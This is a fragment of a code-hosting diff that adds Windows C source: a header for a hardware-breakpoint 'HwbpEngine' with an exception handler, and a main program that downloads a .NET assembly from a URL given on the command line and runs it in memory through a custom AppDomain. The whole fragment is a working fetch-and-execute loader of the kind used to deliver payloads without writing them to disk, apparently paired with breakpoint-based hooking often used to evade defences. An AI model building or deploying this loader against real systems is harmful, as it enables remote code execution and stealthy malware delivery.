return EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#include <Windows.h>
|
||||
|
||||
BOOL HwbpEngineBreakpoint(
|
||||
_In_ ULONG Position,
|
||||
_In_ PVOID Function
|
||||
);
|
||||
|
||||
BOOL HwbpEngineHandler(
|
||||
_Inout_ PEXCEPTION_POINTERS Exceptions
|
||||
);
|
||||
@@ -0,0 +1,78 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include "DotnetExecute.h"
|
||||
|
||||
BOOL ReadFileFromURLA(
|
||||
IN LPCSTR url,
|
||||
OUT PBYTE* ppFileBuffer,
|
||||
OUT PDWORD pdwFileSize
|
||||
);
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
PBYTE AssemblyBytes = NULL;
|
||||
DWORD AssemblySize = 0;
|
||||
LPSTR OutputBuffer = NULL;
|
||||
ULONG OutputLength = 0;
|
||||
|
||||
if (argc < 2) {
|
||||
printf("Usage: %s <url> [arguments...]\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
LPCSTR url = argv[1];
|
||||
PWSTR arguments = NULL;
|
||||
|
||||
if (argc > 2) {
|
||||
size_t totalLen = 0;
|
||||
for (int i = 2; i < argc; i++) {
|
||||
totalLen += strlen(argv[i]) + 1;
|
||||
}
|
||||
|
||||
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR));
|
||||
if (!arguments) {
|
||||
printf("[-] HeapAlloc failed for arguments\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
size_t convertedChars = 0;
|
||||
for (int i = 2; i < argc; i++) {
|
||||
errno_t err = mbstowcs_s(&convertedChars, arguments + wcslen(arguments), totalLen, argv[i], _TRUNCATE);
|
||||
if (err != 0) {
|
||||
printf("[-] mbstowcs_s failed with error code: %d\n", err);
|
||||
HeapFree(GetProcessHeap(), 0, arguments);
|
||||
return 1;
|
||||
}
|
||||
if (i < argc - 1) {
|
||||
wcscat_s(arguments, totalLen, L" ");
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WCHAR));
|
||||
if (!arguments) {
|
||||
printf("[-] HeapAlloc failed for empty arguments\n");
|
||||
return 1;
|
||||
}
|
||||
arguments[0] = L'\0';
|
||||
}
|
||||
|
||||
if (!ReadFileFromURLA(url, &AssemblyBytes, &AssemblySize)) {
|
||||
puts("[-] ReadFileFromURLA Failed");
|
||||
HeapFree(GetProcessHeap(), 0, arguments);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)L"MyAppDomain", arguments, &OutputBuffer, &OutputLength)) {
|
||||
puts("[-] DotnetExecute Failed");
|
||||
}
|
||||
else {
|
||||
printf("\n\n%s", OutputBuffer);
|
||||
}
|
||||
|
||||
HeapFree(GetProcessHeap(), 0, AssemblyBytes);
|
||||
HeapFree(GetProcessHeap(), 0, OutputBuffer);
|
||||
HeapFree(GetProcessHeap(), 0, arguments);
|
||||
return 0;
|
||||
}
|
||||
+120555
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user